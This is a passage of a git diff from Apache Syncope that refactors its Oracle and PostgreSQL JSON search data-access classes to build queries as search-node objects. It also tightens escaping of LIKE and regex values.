? "u" : "") + key(schema.getType())). + append(" FROM "). + append(svs.field().name). + append(" usa WHERE usa.any_id = "). + append(svs.field().alias). + append(".any_id"). + append(" AND usa.plainSchema ='").append(fieldName).append("'"). + append(" FETCH FIRST 1 ROWS ONLY "). + append(") AS ").append(fieldName).toString(); + item.where = "plainSchema = '" + fieldName + '\''; item.orderBy = fieldName + ' ' + clause.getDirection().name(); } - protected void fillAttrQuery( - final AnyUtils anyUtils, - final StringBuilder query, + protected AnySearchNode.Leaf filJSONAttrQuery( + final SearchSupport.SearchView from, final PlainAttrValue attrValue, final PlainSchema schema, final AttrCond cond, final boolean not, - final List parameters, - final SearchSupport svs) { + final List parameters) { - // This first branch is required for handling with not conditions given on multivalue fields (SYNCOPE-1419) - if (not && schema.isMultivalue() - && !(cond instanceof AnyCond) - && cond.getType() != AttrCond.Type.ISNULL && cond.getType() != AttrCond.Type.ISNOTNULL) { + String key = key(schema.getType()); - query.append("id NOT IN (SELECT DISTINCT any_id FROM "); - query.append(svs.field().name).append(" WHERE "); - fillAttrQuery(anyUtils, query, attrValue, schema, cond, false, parameters, svs); - query.append(')'); - } else { - String key = key(schema.getType()); + String value = Optional.ofNullable(attrValue.getDateValue()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). + orElseGet(() -> schema.getType() == AttrSchemaType.Boolean + ? BooleanUtils.toStringTrueFalse(attrValue.getBooleanValue()) + : cond.getExpression()); - String value = Optional.ofNullable(attrValue.getDateValue()). - map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). - orElseGet(() -> schema.getType() == AttrSchemaType.Boolean - ? BooleanUtils.toStringTrueFalse(attrValue.getBooleanValue()) - : cond.getExpression()); + boolean lower = (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) + && (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); - boolean lower = (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) - && (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); + StringBuilder clause = new StringBuilder("plainSchema=?").append(setParameter(parameters, cond.getSchema())). + append(" AND "). + append(lower ? "LOWER(" : ""); + if (schema.isUniqueConstraint()) { + clause.append("u").append(key); + } else { + clause.append("JSON_VALUE(").append(key).append(", '$[*]')"); + } + clause.append(lower ? ')' : ""); - query.append("plainSchema=?").append(setParameter(parameters, cond.getSchema())). - append(" AND "). - append(lower ? "LOWER(" : ""); - if (schema.isUniqueConstraint()) { - query.append("u").append(key); - } else { - query.append("JSON_VALUE(").append(key).append(", '$[*]')"); - } - query.append(lower ? ')' : ""); + switch (cond.getType()) { + case LIKE: + case ILIKE: + if (not) { + clause.append("NOT "); + } + clause.append(" LIKE "); + break; - switch (cond.getType()) { - case LIKE: - case ILIKE: - if (not) { - query.append("NOT "); - } - query.append(" LIKE "); - break; + case GE: + if (not) { + clause.append('<'); + } else { + clause.append(">="); + } + break; - case GE: - if (not) { - query.append('<'); - } else { - query.append(">="); - } - break; + case GT: + if (not) { + clause.append("<="); + } else { + clause.append('>'); + } + break; - case GT: - if (not) { - query.append("<="); - } else { - query.append('>'); - } - break; + case LE: + if (not) { + clause.append('>'); + } else { + clause.append("<="); + } + break; - case LE: - if (not) { - query.append('>'); - } else { - query.append("<="); - } - break; + case LT: + if (not) { + clause.append(">="); + } else { + clause.append('<'); + } + break; - case LT: - if (not) { - query.append(">="); - } else { - query.append('<'); - } - break; + case EQ: + case IEQ: + default: + if (not) { + clause.append('!'); + } + clause.append('='); + } - case EQ: - case IEQ: - default: - if (not) { - query.append('!'); - } - query.append('='); - } + clause.append(lower ? "LOWER(" : ""). + append('?').append(setParameter(parameters, value)). + append(lower ? ")" : ""); - query.append(lower ? "LOWER(" : ""). - append('?').append(setParameter(parameters, value)). - append(lower ? ")" : ""); + // workaround for Oracle DB adding explicit escaping string, to search + // for literal _ (underscore) (SYNCOPE-1779) + if (cond.getType() == AttrCond.Type.ILIKE || cond.getType() == AttrCond.Type.LIKE) { + clause.append(" ESCAPE '\\' "); } + + return new AnySearchNode.Leaf(from, clause.toString()); } @Override - protected String getQuery( + protected AnySearchNode getQuery( final AttrCond cond, final boolean not, + final Pair checked, final List parameters, final SearchSupport svs) { - Pair checked = check(cond, svs.anyTypeKind); - // normalize NULL / NOT NULL checks if (not) { if (cond.getType() == AttrCond.Type.ISNULL) { @@ -265,28 +202,43 @@ protected String getQuery( } } - StringBuilder query = - new StringBuilder("SELECT DISTINCT any_id FROM ").append(svs.field().name).append(" WHERE "); switch (cond.getType()) { case ISNOTNULL: - query.append("JSON_EXISTS(plainAttrs, '$[*]?(@.schema == \""). - append(checked.getLeft().getKey()).append("\")')"); - break; + return new AnySearchNode.Leaf( + svs.field(), + "JSON_EXISTS(plainAttrs, '$[*]?(@.schema == \"" + checked.getLeft().getKey() + "\")')"); case ISNULL: - query.append("NOT JSON_EXISTS(plainAttrs, '$[*]?(@.schema == \""). - append(checked.getLeft().getKey()).append("\")')"); - break; + return new AnySearchNode.Leaf( + svs.field(), + "NOT JSON_EXISTS(plainAttrs, '$[*]?(@.schema == \"" + checked.getLeft().getKey() + "\")')"); default: - if (not && !(cond instanceof AnyCond) && checked.getLeft().isMultivalue()) { - query = new StringBuilder("SELECT DISTINCT id AS any_id FROM ").append(svs.table().name). - append(" WHERE "); + AnySearchNode.Leaf node; + if (not && checked.getLeft().isMultivalue()) { + AnySearchNode.Leaf notNode = filJSONAttrQuery( + svs.field(), + checked.getRight(), + checked.getLeft(), + cond, + false, + parameters); + node = new AnySearchNode.Leaf( + notNode.getFrom(), + "sv.any_id NOT IN (" + + "SELECT any_id FROM " + notNode.getFrom().name + + " WHERE " + notNode.getClause().replace(notNode.getFrom().alias + ".", "") + + ")"); + } else { + node = filJSONAttrQuery( + svs.field(), + checked.getRight(), + checked.getLeft(), + cond, + not, + parameters); } - fillAttrQuery(anyUtilsFactory.getInstance(svs.anyTypeKind), - query, checked.getRight(), checked.getLeft(), cond, not, parameters, svs); + return node; } - - return query.toString(); } } diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnyDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnyDAO.java index 2bc9ad4e2a7..ecce397ad8b 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnyDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnyDAO.java @@ -52,15 +52,10 @@ protected String attrValueMatch( Pair schemaInfo = schemaInfo(schema.getType(), ignoreCaseMatch); if (schemaInfo.getRight()) { return "attrs ->> 'schema' = ? " - + "AND " - + (schemaInfo.getRight() ? "LOWER(" : "") + + "AND LOWER(" + (schema.isUniqueConstraint() ? "attrs -> 'uniqueValue'" : "attrValues") + " ->> '" + schemaInfo.getLeft() - + '\'' + (schemaInfo.getRight() ? ")" : "") - + " = " - + (schemaInfo.getRight() ? "LOWER(" : "") - + '?' - + (schemaInfo.getRight() ? ")" : ""); + + "') = LOWER(?)"; } PlainAttr container = anyUtils.newPlainAttr(); diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnySearchDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnySearchDAO.java index e2c4c71f0f7..71e9d08b87e 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnySearchDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/PGJPAJSONAnySearchDAO.java @@ -19,20 +19,14 @@ package org.apache.syncope.core.persistence.jpa.dao; import java.time.format.DateTimeFormatter; -import java.util.ArrayList; +import java.util.HashSet; import java.util.List; +import java.util.Map; import java.util.Optional; import java.util.Set; -import java.util.stream.Collectors; -import javax.persistence.Query; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; -import org.apache.commons.lang3.tuple.Triple; -import org.apache.syncope.common.lib.SyncopeClientException; -import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.AttrSchemaType; -import org.apache.syncope.common.rest.api.service.JAXRSService; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; @@ -40,33 +34,15 @@ import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.dao.search.AnyCond; -import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; -import org.apache.syncope.core.persistence.api.dao.search.AuxClassCond; -import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; -import org.apache.syncope.core.persistence.api.dao.search.MemberCond; -import org.apache.syncope.core.persistence.api.dao.search.MembershipCond; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; -import org.apache.syncope.core.persistence.api.dao.search.PrivilegeCond; -import org.apache.syncope.core.persistence.api.dao.search.RelationshipCond; -import org.apache.syncope.core.persistence.api.dao.search.RelationshipTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.ResourceCond; -import org.apache.syncope.core.persistence.api.dao.search.RoleCond; -import org.apache.syncope.core.persistence.api.dao.search.SearchCond; -import org.apache.syncope.core.persistence.api.entity.Any; -import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; import org.apache.syncope.core.persistence.api.entity.PlainSchema; -import org.apache.syncope.core.persistence.api.entity.Realm; public class PGJPAJSONAnySearchDAO extends JPAAnySearchDAO { - protected static final String ALWAYS_FALSE_ASSERTION = "1=2"; - protected static final String POSTGRESQL_REGEX_CHARS = "!$()*+.:<=>?[\\]^{|}-"; protected static String escapeForLikeRegex(final String input) { @@ -74,7 +50,7 @@ protected static String escapeForLikeRegex(final String input) { for (char toEscape : POSTGRESQL_REGEX_CHARS.toCharArray()) { output = output.replace(String.valueOf(toEscape), "\\" + toEscape); } - return output; + return output.replace("'", "''"); } protected static String escapeIfString(final String value, final boolean isStr) { @@ -106,6 +82,16 @@ public PGJPAJSONAnySearchDAO( validator); } + @Override + protected SearchSupport.SearchView defaultSV(final SearchSupport svs) { + return svs.table(); + } + + @Override + protected String anyId(final SearchSupport.SearchView sv) { + return sv.alias + ".id"; + } + @Override protected void parseOrderByForPlainSchema( final SearchSupport svs, @@ -137,772 +123,177 @@ protected void parseOrderByForField( item.orderBy = svs.table().alias + '.' + fieldName + ' ' + clause.getDirection().name(); } - protected void fillAttrQuery( - final AnyUtils anyUtils, - final StringBuilder query, + protected AnySearchNode.Leaf filJSONAttrQuery( + final SearchSupport.SearchView from, final PlainAttrValue attrValue, final PlainSchema schema, final AttrCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + final boolean not) { + + String key = key(schema.getType()); + + String value = Optional.ofNullable(attrValue.getDateValue()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). + orElse(cond.getExpression()); + + boolean isStr = true; + boolean lower = false; + if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { + lower = (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); + } else if (schema.getType() != AttrSchemaType.Date) { + lower = false; + try { + switch (schema.getType()) { + case Long: + Long.valueOf(value); + break; + + case Double: + Double.valueOf(value); + break; + + case Boolean: + if (!("true".equalsIgnoreCase(value) || "false".equalsIgnoreCase(value))) { + throw new IllegalArgumentException(); + } + break; - if (not && cond.getType() == AttrCond.Type.ISNULL) { - cond.setType(AttrCond.Type.ISNOTNULL); - fillAttrQuery(anyUtils, query, attrValue, schema, cond, true, parameters, svs); - } else if (not) { - query.append("NOT ("); - fillAttrQuery(anyUtils, query, attrValue, schema, cond, false, parameters, svs); - query.append(')'); - } else { - String key = key(schema.getType()); - - String value = Optional.ofNullable(attrValue.getDateValue()). - map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). - orElse(cond.getExpression()); - - boolean isStr = true; - boolean lower = false; - if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { - lower = (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); - } else if (schema.getType() != AttrSchemaType.Date) { - lower = false; - try { - switch (schema.getType()) { - case Long: - Long.valueOf(value); - break; - - case Double: - Double.valueOf(value); - break; - - case Boolean: - if (!("true".equalsIgnoreCase(value) || "false".equalsIgnoreCase(value))) { - throw new IllegalArgumentException(); - } - break; - - default: - } - - isStr = false; - } catch (Exception nfe) { - // ignore + default: } - } - switch (cond.getType()) { - case ISNULL: - // shouldn't occour: processed before - break; - - case ISNOTNULL: - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*]')"); - break; - - case ILIKE: - case LIKE: - // jsonb_path_exists(Nome, '$[*] ? (@.stringValue like_regex "EL.*" flag "i")') - if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). - append("(@.").append(key).append(" like_regex \""). - append(escapeForLikeRegex(value).replace("%", ".*")). - append("\""). - append(lower ? " flag \"i\"" : "").append(")')"); - } else { - query.append(' ').append(ALWAYS_FALSE_ASSERTION); - LOG.error("LIKE is only compatible with string or enum schemas"); - } - break; - - case IEQ: - case EQ: - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). - append("(@.").append(key); - if (StringUtils.containsAny(value, POSTGRESQL_REGEX_CHARS) || lower) { - query.append(" like_regex \"").append(escapeForLikeRegex(value).replace("'", "''")).append('"'); - } else { - query.append(" == ").append(escapeIfString(value, isStr)); - } - - query.append(lower ? " flag \"i\"" : "").append(")')"); - break; - - case GE: - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). - append("(@.").append(key).append(" >= "). - append(escapeIfString(value, isStr)).append(")')"); - break; - - case GT: - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). - append("(@.").append(key).append(" > "). - append(escapeIfString(value, isStr)).append(")')"); - break; - - case LE: - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). - append("(@.").append(key).append(" <= "). - append(escapeIfString(value, isStr)).append(")')"); - break; - - case LT: - query.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). - append("(@.").append(key).append(" < "). - append(escapeIfString(value, isStr)).append(")')"); - break; - - default: + isStr = false; + } catch (Exception nfe) { + // ignore } } - } - - @Override - protected String getQuery( - final AttrCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - Pair checked = check(cond, svs.anyTypeKind); - - StringBuilder query = new StringBuilder(); + StringBuilder clause = new StringBuilder(); switch (cond.getType()) { - case ISNOTNULL: - query.append(not ? " NOT " : ' '). - append("jsonb_path_exists(").append(checked.getLeft().getKey()).append(",'$[*]')"); - break; - - case ISNULL: - query.append(not ? ' ' : " NOT "). - append("jsonb_path_exists(").append(checked.getLeft().getKey()).append(",'$[*]')"); + case ILIKE: + case LIKE: + // jsonb_path_exists(Nome, '$[*] ? (@.stringValue like_regex "EL.*" flag "i")') + if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { + clause.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). + append("(@.").append(key).append(" like_regex \""). + append(escapeForLikeRegex(value).replace("%", ".*")). + append("\""). + append(lower ? " flag \"i\"" : "").append(")')"); + } else { + LOG.error("LIKE is only compatible with string or enum schemas"); + clause.append(' ').append(ALWAYS_FALSE_CLAUSE); + } break; + case IEQ: + case EQ: default: - fillAttrQuery(anyUtilsFactory.getInstance(svs.anyTypeKind), - query, checked.getRight(), checked.getLeft(), cond, not, parameters, svs); - } - - return query.toString(); - } + clause.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). + append("(@.").append(key); - @Override - protected String getQuery( - final AnyTypeCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder("type_id"); - - if (not) { - query.append("<>"); - } else { - query.append('='); - } - - query.append('?').append(setParameter(parameters, cond.getAnyTypeKey())); - - return query.toString(); - } - - @Override - protected String getQuery( - final AuxClassCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder(); - - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.auxClass().name). - append(" WHERE anyTypeClass_id=?"). - append(setParameter(parameters, cond.getAuxClass())). - append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final RoleCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder().append('('); - - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.role().name).append(" WHERE "). - append("role_id=?").append(setParameter(parameters, cond.getRole())). - append(") "); - - if (not) { - query.append("AND id NOT IN ("); - } else { - query.append("OR id IN ("); - } - - query.append("SELECT DISTINCT any_id FROM "). - append(SearchSupport.dynrolemembership().name).append(" WHERE "). - append("role_id=?").append(setParameter(parameters, cond.getRole())). - append(')'); - - query.append(')'); - - return query.toString(); - } + if (StringUtils.containsAny(value, POSTGRESQL_REGEX_CHARS) || lower) { + clause.append(" like_regex \"^"). + append(escapeForLikeRegex(value).replace("'", "''")). + append("$\""); + } else { + clause.append(" == ").append(escapeIfString(value, isStr)); + } - @Override - protected String getQuery( - final PrivilegeCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + clause.append(lower ? " flag \"i\"" : "").append(")')"); + break; - StringBuilder query = new StringBuilder().append('('); + case GE: + clause.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). + append("(@.").append(key).append(" >= "). + append(escapeIfString(value, isStr)).append(")')"); + break; - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } + case GT: + clause.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). + append("(@.").append(key).append(" > "). + append(escapeIfString(value, isStr)).append(")')"); + break; - query.append("SELECT DISTINCT any_id FROM "). - append(svs.priv().name).append(" WHERE "). - append("privilege_id=?").append(setParameter(parameters, cond.getPrivilege())). - append(") "); + case LE: + clause.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). + append("(@.").append(key).append(" <= "). + append(escapeIfString(value, isStr)).append(")')"); + break; - if (not) { - query.append("AND id NOT IN ("); - } else { - query.append("OR id IN ("); + case LT: + clause.append("jsonb_path_exists(").append(schema.getKey()).append(", '$[*] ? "). + append("(@.").append(key).append(" < "). + append(escapeIfString(value, isStr)).append(")')"); + break; } - query.append("SELECT DISTINCT any_id FROM "). - append(svs.dynpriv().name).append(" WHERE "). - append("privilege_id=?").append(setParameter(parameters, cond.getPrivilege())). - append(')'); - - query.append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final DynRealmCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder(); - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); + clause.insert(0, "NOT "); } - query.append("SELECT DISTINCT any_id FROM "). - append(SearchSupport.dynrealmmembership().name).append(" WHERE "). - append("dynRealm_id=?").append(setParameter(parameters, cond.getDynRealm())). - append(')'); - - return query.toString(); + return new AnySearchNode.Leaf(from, clause.toString()); } @Override - protected String getQuery( - final ResourceCond cond, + protected AnySearchNode getQuery( + final AttrCond cond, final boolean not, + final Pair checked, final List parameters, final SearchSupport svs) { - StringBuilder query = new StringBuilder(); - + // normalize NULL / NOT NULL checks if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.resource().name). - append(" WHERE resource_id=?"). - append(setParameter(parameters, cond.getResource())); - - if (svs.anyTypeKind == AnyTypeKind.USER || svs.anyTypeKind == AnyTypeKind.ANY_OBJECT) { - query.append(" UNION SELECT DISTINCT any_id FROM "). - append(svs.groupResource().name). - append(" WHERE resource_id=?"). - append(setParameter(parameters, cond.getResource())); - } - - query.append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final AssignableCond cond, - final List parameters, - final SearchSupport svs) { - - Realm realm = check(cond); - - StringBuilder query = new StringBuilder().append('('); - if (cond.isFromGroup()) { - realmDAO.findDescendants(realm).forEach(current -> query.append("realm_id=?"). - append(setParameter(parameters, current.getKey())).append(" OR ")); - query.setLength(query.length() - 4); - } else { - for (Realm current = realm; current.getParent() != null; current = current.getParent()) { - query.append("realm_id=?").append(setParameter(parameters, current.getKey())).append(" OR "); + if (cond.getType() == AttrCond.Type.ISNULL) { + cond.setType(AttrCond.Type.ISNOTNULL); + } else if (cond.getType() == AttrCond.Type.ISNOTNULL) { + cond.setType(AttrCond.Type.ISNULL); } - query.append("realm_id=?").append(setParameter(parameters, realmDAO.getRoot().getKey())); - } - - query.append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final MemberCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - String memberKey = check(cond); - - StringBuilder query = new StringBuilder().append('('); - - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } - - query.append("SELECT DISTINCT group_id AS any_id FROM "). - append(new SearchSupport(AnyTypeKind.USER).membership().name).append(" WHERE "). - append("any_id=?").append(setParameter(parameters, memberKey)). - append(") "); - - if (not) { - query.append("AND id NOT IN ("); - } else { - query.append("OR id IN ("); } - query.append("SELECT DISTINCT group_id AS any_id FROM "). - append(new SearchSupport(AnyTypeKind.ANY_OBJECT).membership().name).append(" WHERE "). - append("any_id=?").append(setParameter(parameters, memberKey)). - append(')'); - - query.append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final RelationshipTypeCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder().append('('); - - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } - - query.append("SELECT any_id ").append("FROM "). - append(svs.relationship().name). - append(" WHERE type=?").append(setParameter(parameters, cond.getRelationshipTypeKey())). - append(" UNION SELECT right_any_id AS any_id FROM "). - append(svs.relationship().name). - append(" WHERE type=?").append(setParameter(parameters, cond.getRelationshipTypeKey())). - append(')'); - - query.append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final RelationshipCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - String rightAnyObjectKey = check(cond); - - StringBuilder query = new StringBuilder().append('('); - - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.relationship().name).append(" WHERE "). - append("right_any_id=?").append(setParameter(parameters, rightAnyObjectKey)). - append(')'); - - query.append(')'); - - return query.toString(); - } - - @Override - protected String getQuery( - final MembershipCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - List groupKeys = check(cond); - - String where = groupKeys.stream(). - map(key -> "group_id=?" + setParameter(parameters, key)). - collect(Collectors.joining(" OR ")); - - StringBuilder query = new StringBuilder().append('('); - - if (not) { - query.append("id NOT IN ("); - } else { - query.append("id IN ("); - } + switch (cond.getType()) { + case ISNOTNULL: + return new AnySearchNode.Leaf( + svs.table(), + "jsonb_path_exists(" + checked.getLeft().getKey() + ",'$[*]')"); - query.append("SELECT DISTINCT any_id FROM "). - append(svs.membership().name).append(" WHERE "). - append('(').append(where).append(')'). - append(") "); + case ISNULL: + return new AnySearchNode.Leaf( + svs.table(), + "NOT jsonb_path_exists(" + checked.getLeft().getKey() + ",'$[*]')"); - if (not) { - query.append("AND id NOT IN ("); - } else { - query.append("OR id IN ("); + default: + return filJSONAttrQuery( + svs.table(), + checked.getRight(), + checked.getLeft(), + cond, + not); } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.dyngroupmembership().name).append(" WHERE "). - append('(').append(where).append(')'). - append(')'); - - query.append(')'); - - return query.toString(); } @Override - protected String getQuery( - final AnyCond cond, - final boolean not, - final List parameters, + protected void visitNode( + final AnySearchNode node, + final Map counters, + final Set from, + final List where, final SearchSupport svs) { - if (JAXRSService.PARAM_REALM.equals(cond.getSchema()) - && !SyncopeConstants.UUID_PATTERN.matcher(cond.getExpression()).matches()) { - - Realm realm = realmDAO.findByFullPath(cond.getExpression()); - if (realm == null) { - throw new IllegalArgumentException("Invalid Realm full path: " + cond.getExpression()); - } - cond.setExpression(realm.getKey()); - } - - Triple checked = check(cond, svs.anyTypeKind); - - StringBuilder query = new StringBuilder(); - - PlainSchema schema = plainSchemaDAO.find(cond.getSchema()); - if (schema == null) { - fillAttrQuery(query, checked.getMiddle(), checked.getLeft(), checked.getRight(), not, parameters, svs); - } else { - fillAttrQuery(anyUtilsFactory.getInstance(svs.anyTypeKind), - query, checked.getMiddle(), checked.getLeft(), checked.getRight(), not, parameters, svs); - } - - return query.toString(); - } - - @Override - protected String buildAdminRealmsFilter( - final Set realmKeys, - final SearchSupport svs, - final List parameters) { - - if (realmKeys.isEmpty()) { - return "realm_id IS NOT NULL"; - } - - String realmKeysArg = realmKeys.stream(). - map(realmKey -> "?" + setParameter(parameters, realmKey)). - collect(Collectors.joining(",")); - return "realm_id IN (" + realmKeysArg + ')'; + counters.clear(); + super.visitNode(node, counters, from, where, svs); } @Override - protected int doCount( - final Realm base, - final boolean recursive, - final Set adminRealms, - final SearchCond cond, - final AnyTypeKind kind) { - - List parameters = new ArrayList<>(); - - SearchSupport svs = buildSearchSupport(kind); - - Triple, Set> filter = - getAdminRealmsFilter(base, recursive, adminRealms, svs, parameters); - - Pair> queryInfo = - getQuery(buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind), parameters, svs); - - StringBuilder queryString = - new StringBuilder("SELECT count(").append(svs.table().alias).append(".id").append(')'); - - buildFromAndWhere(queryString, queryInfo, filter.getLeft(), svs, null); - - Query countQuery = entityManager().createNativeQuery(queryString.toString()); - fillWithParameters(countQuery, parameters); - - return ((Number) countQuery.getSingleResult()).intValue(); - } - - @Override - @SuppressWarnings("unchecked") - protected > List doSearch( - final Realm base, - final boolean recursive, - final Set adminRealms, - final SearchCond cond, - final int page, - final int itemsPerPage, - final List orderBy, - final AnyTypeKind kind) { - - try { - List parameters = new ArrayList<>(); - - SearchSupport svs = buildSearchSupport(kind); - - Triple, Set> filter = - getAdminRealmsFilter(base, recursive, adminRealms, svs, parameters); - - SearchCond effectiveCond = buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind); - - // 1. get the query string from the search condition - Pair> queryInfo = getQuery(effectiveCond, parameters, svs); - - // 2. take into account realms and ordering - OrderBySupport obs = parseOrderBy(svs, orderBy); - - StringBuilder queryString = new StringBuilder("SELECT ").append(svs.table().alias).append(".id"); - obs.items.forEach(item -> queryString.append(',').append(item.select)); - - buildFromAndWhere(queryString, queryInfo, filter.getLeft(), svs, obs); - - LOG.debug("Query: {}, parameters: {}", queryString, parameters); - - queryString.append(buildOrderBy(obs)); - - LOG.debug("Query with auth and order by statements: {}, parameters: {}", queryString, parameters); - - // 3. prepare the search query - Query query = entityManager().createNativeQuery(queryString.toString()); - - // 4. page starts from 1, while setFirtResult() starts from 0 - query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); - - if (itemsPerPage >= 0) { - query.setMaxResults(itemsPerPage); - } - - // 5. populate the search query with parameter values - fillWithParameters(query, parameters); - - // 6. Prepare the result (avoiding duplicates) - return buildResult(query.getResultList(), kind); - } catch (SyncopeClientException e) { - throw e; - } catch (Exception e) { - LOG.error("While searching for {}", kind, e); - } - - return List.of(); - } - - @Override - protected void queryOp( - final StringBuilder query, - final String op, - final Pair> leftInfo, - final Pair> rightInfo) { - - query.append('('). - append(leftInfo.getKey()). - append(' ').append(op).append(' '). - append(rightInfo.getKey()). - append(')'); - } - - @Override - protected void fillAttrQuery( - final StringBuilder query, - final PlainAttrValue attrValue, - final PlainSchema schema, - final AttrCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - if (not && cond.getType() == AttrCond.Type.ISNULL) { - cond.setType(AttrCond.Type.ISNOTNULL); - fillAttrQuery(query, attrValue, schema, cond, true, parameters, svs); - } else if (not) { - query.append("NOT ("); - fillAttrQuery(query, attrValue, schema, cond, false, parameters, svs); - query.append(')'); - } else if (not && cond.getType() == AttrCond.Type.ISNULL) { - cond.setType(AttrCond.Type.ISNOTNULL); - fillAttrQuery(query, attrValue, schema, cond, true, parameters, svs); - } else { - boolean lower = (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) - && (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); - - String column = cond.getSchema(); - if ((schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) && lower) { - column = "LOWER (" + column + ')'; - } - - switch (cond.getType()) { - - case ISNULL: - // shouldn't occour: processed before - break; - - case ISNOTNULL: - query.append(column).append(" IS NOT NULL"); - break; - - case ILIKE: - case LIKE: - if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { - query.append(column); - query.append(" LIKE "); - if (lower) { - 